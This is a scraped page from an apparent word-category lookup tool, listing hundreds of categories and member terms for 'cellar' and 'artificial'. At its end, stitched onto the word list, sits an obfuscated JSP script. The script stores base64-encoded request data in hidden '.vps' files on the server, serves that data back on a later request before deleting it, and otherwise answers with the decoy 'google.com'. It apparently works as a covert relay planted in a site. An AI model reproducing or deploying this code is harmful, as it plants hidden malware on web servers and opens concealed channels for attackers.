Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Categories for
cellar
with nuance
artificial
:
artificial:shelter,
Simple categories matching
artificial
:
structure,
institution,
scent,
flavouring,
material,
domain,
container,
surface,
fiber,
obstruction,
item,
additive,
resin,
muscle,
extremity,
pathogen,
goal,
action,
flaw,
marker,
preparation,
distortion,
abrasive,
silk,
arm,
stimulant,
channel,
ingredient,
support,
deposit,
object,
system,
selection,
sweetener,
fibre,
rock,
ground,
chemical,
character,
works,
housing,
instrument,
actuation,
humanoid,
siding,
graphite,
feature,
lubricant,
shelter,
intelligence,
equipment,
fuel,
layer,
thermostat,
condition,
hormone,
fabric,
body,
conduit,
marking,
satellite,
bait,
flavor,
fastener,
rod,
part,
process,
medium,
harbor,
feed,
machine,
fragrance,
facility,
preservative,
odour,
creature,
treatment,
obstacle,
sense,
aid,
jewel,
artefact,
effort,
practice,
fill,
cue,
language,
nail,
cavity,
gemstone,
panel,
boundary,
noise,
lighting,
illumination,
highway,
control,
vesicle,
person,
attribute,
land,
cosmetic,
blockage,
contraceptive,
source,
clothing,
polyester,
devices,
cloning,
image,
care,
disturbance,
order,
watercourse,
tissue,
creation,
method,
event,
production,
organs,
receptacle,
stimulus,
substrate,
component,
crystal,
dielectric,
decoration,
unit,
shade,
compound,
reef,
barrier,
situation,
habitat,
polymer,
gas,
network,
flavour,
jewellery,
defence,
perturbation,
floor,
drain,
lure,
activity,
casing,
wealth,
organ,
construction,
piece,
fluid,
tube,
weight,
tree,
defect,
phenomenon,
drainage,
particle,
constraint,
polyamide,
food,
article,
conveyance,
waterway,
sapphire,
relic,
product,
filament,
location,
light,
sensor,
sediment,
wetland,
limb,
gem,
device,
enclosure,
joint,
hazard,
vegetation,
grouping,
entity,
sound,
noisemaker,
flavoring,
glass,
emulsion,
area,
textile,
enterprise,
sign,
plant,
grass,
substance,
stone,
lake,
illuminant,
feeding,
pond,
activator,
intoxicant,
oil,
leather,
thing,
binder,
cause,
environment,
progestin,
perch,
measure,
space,
means,
agent,
appliance,
flower,
bone,
aggregate,
forest,
Members with property
artificial
:
nylon,
acetate_silk,
concrete_wall,
polyester,
electronic_flash,
sound,
hole,
silicate,
novial,
dam,
building,
concrete,
occidental,
aspartame,
constitutional_democracy,
filler,
corn,
society,
macadam,
artificial_liver,
pvc_leather,
silk_flower,
viscose_silk,
fence,
tide_gates,
weir,
tire_mound,
robotic_system,
wharf,
public_body,
rayon,
law,
syntactic_foam,
steel_rod,
carving,
carbon_fiber,
parking_light,
asbestos_fibre,
irrigation_canal,
broadband_noise,
axilla,
reservoir,
liposome,
diamond_stone,
rock,
carnation,
glass_powder,
marble,
fat,
television,
catheter,
car_v,
asphalt,
horizontal_line,
colloidal_carbon,
sarin_gas,
extreme_cold,
candle,
eyeglasses,
filling,
horn,
syrup,
furnace_clinker,
illumination_tower,
medium_company,
fishnet,
peak,
pharmaceutical,
string,
conductivity,
strobe_flash,
pet_dish,
cardiopulmonary_bypass,
shelter_shed,
forearm,
lock,
ravine_fence,
eye,
pipe_line,
thermostat,
fibril,
pear,
computer,
music,
bridge_pier,
log_wall,
dam_weir,
amethyst,
bicycle,
tungsten_lighting,
nation,
cistern,
abutment,
construction_tape,
spinner,
fibrin,
plastic_denture,
peony,
sand_pit,
equipment_light,
prolog,
large_cavity,
groin,
rubber_dam,
clappers,
muscle,
partnership,
junction,
mooring_rope,
artificial_heart,
grooved_glass,
marvel_network,
spandex,
defence,
nylon_fiber,
saline,
interferon,
skin_windows,
french_vanilla,
tile,
communication_satellite,
machinery,
pvc_reef,
wrinkle_injection,
blower,
dock,
test_image,
resin,
job,
orange,
bread,
firm,
artificial_vessel,
epoxy,
neural_net,
milk_jug,
organization,
special,
concrete_pathway,
climate,
neural_network,
protective_cage,
photo_flashbulb,
culvert,
tooth,
alkyd,
desk_lamp,
pharmaceutical_preparation,
pile,
marina,
onion_grass,
colouring,
slag_wool,
famous_temple,
controlled_environment,
settlement,
limestone,
saucer,
phosphatase,
piece,
hemp,
fabric,
tape,
neon_light,
acrylic_nail,
seawall,
flash_light,
surface,
artificial_worm,
ship,
protein,
mooring_facility,
glue,
wall,
daisy,
rope,
pe_flower,
state_border,
compressor,
concrete_rubble,
ruin,
sugar,
tower,
mortar,
wire_network,
mussel_line,
anionic_polymer,
lysozyme,
mercury_lamp,
archaeological_landscape,
anaesthesia,
colours,
fashion_bracelet,
aircraft,
manufactured_pesticide,
saccharin,
guardrail,
diversion_weir,
despotism,
halon,
software_agent,
leg,
manufacturing_system,
virus,
artificial_bones,
gutter,
perspiration,
silicon,
harbour_wall,
trust,
sculpture,
heart,
diamond,
artificial_finger,
bridge_wall,
artificial_pumice,
photo,
artificial_colouring,
line,
association,
vehicle,
jasper,
dacron,
jetty_wall,
tattoo,
hand,
steel_weight,
bleach,
directorate_boundary,
blood,
porch_light,
code,
flatbottomed_hole,
pure_tone,
honey,
rubber_worm,
medicament,
stucco,
wind_break,
building_roof,
statue,
polyurethane,
water_injection,
foreign_body,
pot-plant_holder,
nose,
aglaonema_bush,
switch_box,
support_plate,
cytochrome,
absorbing_boundary,
wood,
tank,
plastic_flower,
electricity_pylon,
construction_site,
automaton,
ear,
platform,
legs,
peach,
megaphone,
tyre,
doll,
breakwater_caisson,
utility_pole,
machine,
rubber,
worldwide_web,
waste_deposit,
plastic_bait,
flowerpot,
titanium_alloy,
iron_fence,
decorative_light,
polyamide,
fertiliser,
trap,
instrument_jewel,
ashlar,
painting,
avatar,
prosthetic_leg,
android,
task_lighting,
wreck,
acetate,
casein,
virtual_organism,
postmenopausal_oestrogen,
chair,
haitian_zombie,
look,
gun,
perfect_circle,
tungsten_bulb,
agate,
bamboo,
hands,
tin,
artificial_coloring,
nylon_net,
chemical_fertilizer,
halocarbon,
mustard,
collection_dish,
drop-shot_worm,
oat,
filament,
ido,
vehicle_headlamp,
canopy,
tall_building,
ballast_tank,
artificial_graphite,
sheetrock,
pier_piling,
boat_cramp,
ship_channel,
similar_material,
clothing,
electric_circuit,
town,
base,
lacquer,
snorkel,
latex_flower,
natural_material,
channel_marker,
high_school,
monument,
glass_vial,
brick_fence,
irrigation,
perfume,
edge_feature,
toxic_pesticide,
artificial_selection,
money,
modern_lake,
ship_hull,
canvas,
harbor,
red_lipstick,
paper,
color_additive,
unexploded_ordnance,
stadium,
perimeter_drain,
agar,
methylated_casein,
lumen_oxide,
photoelectric_cell,
burlap,
switch,
corn_bran,
tube,
organic_halide,
bone,
flower_vase,
laser,
tobacco_smoke,
fortran,
ligament,
polystyrene_particle,
vessel,
spruce,
plastic,
box,
airplane,
abandoned_cellar,
paint,
preservative,
bat_box,
html,
territorial_line,
auxiliary_facility,
flood,
nerve,
petroleum_wax,
cask,
plug,
medical_x-ray,
flag,
formaldehyde,
saliva,
lead_powder,
bone_necklace,
concrete_structure,
sign,
artificial_cornea,
artificial_slate,
tariff,
drain,
breast_pump,
upper_arm,
owen_wall,
greenhouse,
rice_bran,
cage,
molasses,
autonomous_robot,
cornea,
tuff,
mixture,
cypress,
plastic_cup,
angel_wings,
aquarium_decoration,
silicone_gel,
natural_phenomenon,
coniferous_forest,
police,
artificial_sand,
industrial_area,
geographic_area,
pvc_structure,
chemical_explosion,
reservoir_works,
pole,
scoria_pumice,
fasting,
sandstone,
abandoned_building,
sweetener,
stale_bread,
medicinal_odor,
nail,
software_tool,
brainwashing,
vacuum,
power_bait,
carbon,
peat,
defibrillator,
hut,
vermiculite,
mechanical_ventilation,
emotion,
ear_ossicle,
tight_garment,
blown_vermiculite,
petroleum_oil,
acrylic,
garden,
wharf_pylon,
fire,
histone,
inside_building,
fan,
atmospheric_processor,
fertilizer,
utility_structure,
milk_carton,
dike_breakwater,
gyroscopic_instrument,
calumet_harbor,
photoflood,
urban_environment,
earthy_graphite,
horse_trough,
dahlia,
dogwood,
database_table,
pencil,
stationery_leather,
infant_formula,
mechanical_heart,
brooch_flower,
pot-plant_tray,
dish,
overhead_tank,
boat_hull,
projectile_motion,
tendon,
salt,
bottle,
triacetate,
blinker,
ficus_tree,
spinner_bait,
clinker,
estate,
paraffin,
gold,
civil_war,
feature_lighting,
logical_ai,
cable-television_box,
political_border,
lighting,
crown,
esperanto,
freon,
artificial_tree,
worm,
ruby,
mesh,
genus,
mole_drain,
furniture_leather,
tube_lighting,
vase,
reclaimed_farmland,
skyscraper,
machine_vision,
factory_chimney,
colliery_shale,
pill,
chemical_additive,
citric_acid,
sodium_saccharin,
concrete_wedge,
geometric_structure,
insect_box,
artificial_stone,
silicone_silicone,
semen,
expert_system,
precision_club,
table,
polyester_blouse,
business_corporation,
chemical_motor,
speed,
bridge,
state,
wobbling_plug,
drug_resistance,
graphite,
totem_stone,
insecticide,
natural_landscape,
rye,
pigment,
policy_object,
business_partner,
construction_debris,
privileged_corporation,
earthquake,
ardent_spirits,
oil_platform,
forest,
bee_box,
hosta_plant,
microchip_surface,
dehydrated_flower,
hormone,
aluminum,
tillage,
harp,
stone_chamber,
implement,
lignin,
lawn_chemical,
vegetation_planting,
gastrostomy_tube,
dialect,
tombstone,
pipe_devices,
life-support_system,
ringer_solution,
cocoa_flavour,
olefin,
amplitude_feature,
wooden_box,
settlement_pattern,
lake_system,
pier,
plant_hanger,
terylene,
cairn,
power_pole,
forest_area,
drawing,
timer,
synthetic_hair,
human_heart,
rubber_arm,
mint,
cotton,
wooden_piling,
spotlight,
ability,
semiprecious_stone,
bomb,
simple_amide,
light,
plate,
banana_flavouring,
tarmac,
related_material,
synthetic_fabric,
culture_medium,
fish_cage,
cinnamon,
caisson,
polystyrene_foam,
bowls,
synthetic_marble,
fibreglass_pontoon,
polystyrene,
kidney,
transmission_tower,
incandescent_illumination,
joint_stock,
cpu,
shoes_leather,
electronic_circuit,
eye_ointment,
bag_leather,
electrical_junction,
retina,
international_border,
tree_bark,
gazebo,
berry_scent,
linen,
gum_emulsion,
wooded_area,
tea,
sentence,
economy,
tissue_culture,
sea_defence,
postmenopausal_estrogen,
magnetic_particle,
lexicographical_order,
large_room,
building_gable,
radar,
birdbath,
bluegrass,
border_fence,
foundation,
plastic_sheet,
filter_membrane,
glass_bottle,
air,
barrier,
fill,
cellular_system,
mechanical_ventilator,
furrow,
offal,
car_headlight,
fire_line,
vesicle,
polyethylene,
various_breakwater,
flavouring,
search_light,
book,
pit_fill,
windbreak,
polythene,
birdfeeder,
fibrous_casing,
farmland,
enamel,
sequin_bangle,
tinsel,
forgotten_pail,
pointer_arrow,
telecommunication_tower,
bus,
sensor_chip,
electric_lighting,
lisp,
sea_wall,
water_jar,
ventilator,
aquaculture_facility,
wooden_plank,
computer-programming_language,
coal_ash,
tandem_selection,
solar_panel,
bulkhead_wash,
reconstructed_cornea,
synthetic_fertilizer,
corn_starch,
tractor,
sills,
fever,
glasses,
gel,
asphalt_shingles,
old_barn,
small_spinner,
hedge,
laboratory_setting,
urine,
animal,
police_emergency,
gallery,
bullet,
rock_revetment,
government_institution,
communications_network,
artificial_flower,
artificial_bone,
vinegar,
construction,
penstock,
lighthouse,
drug,
fluorescent_light,
abandoned_pipeline,
porch,
factory,
bone_tool,
sunlamp,
cowbell,
floating_devices,
margarine,
glass_panel,
display_lighting,
bactericide,
nest_box,
minutes,
turbine,
protamine,
street,
poppy,
heating,
bucket,
tea_light,
cognitive_science,
synthetic_fibre,
water_tunnel,
fat_emulsion,
polymer,
shutter,
video,
fishpond,
growth,
eyebrow,
embankment,
water,
windmill,
synthetic_polymer,
blood-agar_plate,
iron_cladding,
tunnel,
antibody,
open_shed,
fabric_flower,
hydroelectric_scheme,
manufactured_gas,
formica,
reverberation_sound,
cellular_automaton,
brain,
saccharin_salt,
bird_bath,
concrete_revetment,
streetlight,
stilt,
support,
steroid,
bright_light,
clogged_gutter,
actuator,
concrete_block,
dyke,
circle,
burning,
strain-gauge_device,
insect_cell,
asphalt_track,
pavement,
forest_lake,
pesticide,
wire,
net,
colored_glass,
laser_pointer,
robotic_devices,
hair_artefact,
foam,
condom,
earthen_wall,
broth,
induced_infiltration,
cell_line,
tent,
bat_house,
artificial_silk,
gravel,
fiber,
jetty_piling,
pancreas,
artificial_colors,
boulder,
quantum_wire,
water-plant_barrels,
enigmatic_miniature,
tube_light,
billy_bait,
country_border,
staple,
wood_cellulose,
fox_scent,
turbulence,
building_cavity,
company,
poison,
irradiation,
porphyry,
crank_bait,
silicon_wafer,
surgery,
enclosure,
cellulose_acetate,
temple,
shipwreck,
pantyhose,
lagoon,
water_body,
artificial_flavoring,
home,
herbicide,
bonsai,
flood_dam,
surface_crack,
fake_food,
volcanic_activity,
bunker,
pellet,
pipe,
glasshouse,
emery,
revetment,
tree,
natural_quartz,
cpi,
tile_drain,
transportation,
life-support_equipment,
hair_flower,
attitude_indicator,
colloidal_graphite,
use_site,
cream,
fake_breast,
stent,
labor,
tube_feeding,
thickening_agent,
masonry,
artificial_vegetable,
tight_bra,
sphere,
fabric_fence,
steel_shaft,
pascal,
leavening,
cornelian,
oil,
ky_jelly,
ester,
ear_tag,
cow_bell,
incandescent_light,
rattle_trap,
sonar,
artificial_intelligence,
button,
synthetic_tissue,
war,
silk,
steel,
floating_dock,
commonwealth,
english,
pig_latin,
pyrolytic_carbon,
gelatin,
supercharger,
grille,
beer_quality,
logging,
artificial_fingernail,
block,
jug,
obelisk,
sand,
parish_line,
phone_pole,
dike,
willow_fence,
micronutrient,
air-conditioning_duct,
human_cloning,
house,
standard_language,
cloning,
rock_fiber,
logic,
laser_light,
papers,
piling,
wood-duck_box,
adopting_law,
electric_pole,
horn_necklace,
telegraph,
jelly,
sprinkler,
metal,
blast,
fuzzy_system,
stone_implement,
country,
artificial_tendon,
pump_tubing,
genetic_programming,
lure,
chrysanthemum,
carbon_fibre,
fiber_wood,
discarded_can,
additive,
cubic_zirconia,
sweet_papers,
custom,
forage_crop,
hospital,
car,
co2_supply,
imaging_model,
roof,
log,
terrace,
interface_agent,
granite,
captivity,
air_pouch,
pontoon,
onyx,
colloid,
roof_gutter,
plastic_filament,
spacecraft,
surface_lure,
sunflower,
mass_release,
favourite_way,
titanium_screw,
city,
norethindrone,
iron-tree,
paper_straw,
block_world,
iv_line,
head_light,
mirror,
head,
column,
jar,
council,
plantation,
corporation_resident,
flower_pot,
metal_barrier,
broadcasting_satellite,
prison,
lemon,
fountain,
electric_light,
avalanche_barrier,
jerk_bait,
bulkhead,
port_installation,
floating_pontoon,
eyes,
artificial_diamond,
navigation_marker,
wire_medium,
cellophane,
road_network,
gel_valve,
plastic_worm,
bed,
landing_light,
seashell_earring,
tin_salt,
synthetic_chemical,
gel_nail,
tobacco,
wool,
aspartame_saccharin,
post,
disused_machinery,
chlorofluorocarbon,
clay_granule,
bread_improver,
aluminum_fluoride,
blade_bait,
color,
vanilla_grass,
limelight,
viscose_filament,
sand_fixation,
arrow_marking,
plywood,
business_management,
jute,
chemical,
agricultural_land,
rainwater_tank,
abm,
osmotic_cell,
prosthetic_valve,
dynamic_iris,
flashlight,
automobile,
extra_lighting,
organs,
macroscopic_engine,
aqueduct,
wooden_legs,
wind-turbine_tower,
intrauterine_devices,
woodpecker_hole,
specified_lighting,
empty_drum,
heat_treatment,
rain_gutter,
automatic_pilot,
synthetic,
satellite,
building_brick,
logic_system,
cultivation_tank,
agency,
lawn,
powder,
landscape,
tea_tree,
foundation_fill,
polypropylene_fiber,
antibiotic,
vector_system,
granular_material,
common_roads,
maple,
capture,
school,
pacemaker,
pump,
unnecessary_illumination,
flare,
metal_alloy,
artificial_wool,
animal_claw,
xmas_light,
glue_emulsion,
interlingua,
electric_motor,
vanilla,
city_street,
gaussian_thermostat,
hay,
rhinestone,
floodgate,
infection,
trough,
biological_brain,
local_authorities,
surface_plug,
electrical_grid,
caramel,
digital_computer,
barrels,
house_roof,
street_lighting,
excavation,
humanoid_robot,
pot,
musical_noise,
electronic_nose,
tub,
corporation,
strawberry,
gasoline,
wearable_liver,
laws,
preservative_ingredient,
structure,
wrap,
relocation,
drum_machine,
brick,
glass,
computer_vision,
sand_bunker,
earthen_jar,
asbestos_shingles,
intravenous_fluid,
dried_flower,
raised_platform,
gas,
foliage,
smart_devices,
communication_tower,
crack,
msg,
silicone_oil,
common_sense,
jetty,
cellulosic_casing,
chocolate_agar,
skull,
human_hair,
scaly_graphite,
lotion,
environmental_hormone,
artificial_leg,
screen,
ointment,
stake_bed,
fuzzy_logic,
band,
collagen,
causeway,
artificial_eye,
water-supply_race,
pneumatic_muscle,
taste_stimulant,
business,
composite_resin,
crushed_pottery,
black_lipid,
huntington_lake,
icehouse,
court,
tool,
bypass_tubing,
office_area,
cellphone_tower,
orchis,
power_dam,
artificial_lung,
drum,
natural_relic,
garlic,
bamboo_stump,
arm,
cellar,
perspex_panel,
grain,
robot,
iron,
query,
styrofoam,
chlorofluorocarbon_cfc,
prosthetic_devices,
aquaculture_cage,
limited_partnership,
groyne,
chemical_composition,
cairn_mound,
bird_box,
machine_network,
blond_hair,
dominoes,
mine,
information_system,
cartilage,
hopkins_lure,
explosive_ordnance,
container,
ditch,
neck_collar,
pacing_lead,
animal_body,
historic_landscape,
area,
cigarette,
patch,
bench,
pot-plant_saucer,
fishing_trap,
driven_pipe,
artificial_pebble,
agricultural_chemical,
skin,
knowledge_acquisition,
laboratory,
turning,
jelly_worm,
cannon,
navigation_structure,
human_agent,
lamp,
cast,
cap,
canal,
orchid,
artificial_skin,
automatic_respirator,
scrap_material,
vision_system,
pottery,
leg_splint,
fence_post,
cardboard,
spider,
asbestos,
roads,
quartz,
cellulose_derivative,
watch,
internet,
gates,
sky,
toy,
concrete_pit,
aluminium,
size,
church,
gravel_pack,
roof_top,
chemical_preservative,
plastic_tray,
diversion_structure,
spire,
product,
tile_drainage,
high_vacuum,
musical_tone,
sofa_leather,
aromatic_substance,
sensor,
graphite_fiber,
physical_disturbance,
liver,
newspaper,
man,
forklift_lighting,
emulsion,
sundry_fibre,
stone,
anovulant_pill,
sawdust,
silicone_wax,
first_fire,
harbour,
train,
pine,
bovine_collagen,
coal,
ventilation,
pillar,
maintained_lawn,
industry,
unix,
flood_light,
broadcast_satellite,
wing_wall,
shark_net,
wood_flower,
service,
liver_microsome,
seaside_pier,
white_flour,
nylons,
egg_donation,
starches,
thermometer,
transport,
opium,
alarm,
bush_grass,
suture,
torch,
fastener_hole,
silicone,
quota,
egyptian_stone,
pvc,
grass,
encapsulation,
gneiss,
plaster,
antifreeze,
incubator,
arms,
filter-paper_cellulose,
limited_liability,
parked_vehicle,
garment_leather,
nitrate,
tinsel_tree,
cell,
lego_piece,
natural_language,
levee,
microphone,
cylinder_reef,
nest_platform,
pasture,
food_odour,
bolt_hole,
pylon,
bell,
street_light,
ship_wreck,
feeding_tube,
breakwater,
turnpike_roads,
enamel_pan,
mound,
hydrocarbon,
shelter,
stock_fence,
provera,
paving,
boulder_placement,
acoustic_stimulation,
lettuce,
adhesive,
viscose,
door_bell,
farm_pond,
seasoning,
peg,
artificial_muscle,
reclaimed_area,
titanium,
material_composition,
cement,
pidgin_language,
fly,
commodity,
staple_rayon,
incandescent_bulb,
manufacture,
artificial_sweetener,
emerald,
national_border,
fast_food,
governmental_organization,
block_distortion,
discrimination,
government,
machine_noise,
sapphire,
straight_line,
coloring,
weather,
malt_agar,
outer_shed,
crop,
acquisition,
trash_receptacle,
mouse_trap,
bottle_glass,
artificial_rock,
fluorescent_lighting,
ivy,
histogram_feature,
membrane_fragment,
plastic_grape,
vessel_hull,
barometer,
grass_silage,
para_flare,
plywood_strip,
drainage_canal,
installation,
cloth,
paper_sheet,
swimming_plug,
foot,
volapuk,
basic_english,
tv_game,
bamboo_stick,
black_tree,
board_wall,
ion_generator,
high_vibration,
circumference,
cemetery_urn,
carbon_tax,
artificial_vanilla,
fingernail,
golem,
snow_fencing,
cooling,
berry,
siren,
collagen_casing,
desk,
latex,
flavoring,
acetaldehyde,
chemical_fertiliser,
rock_wall,
dacron_fabric,
food_preservative,
female_infanticide,
physical_internet,
rig,
communication,
traffic_noise,
shell,
sluice,
malleable_rubber,
electronic_ear,
plastic_container,
alcohol,
ink,
colors,
cell_culture,
protective_screen,
respirator,
carbohydrate,
plastic_bottle,
small_business,
pipeline,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>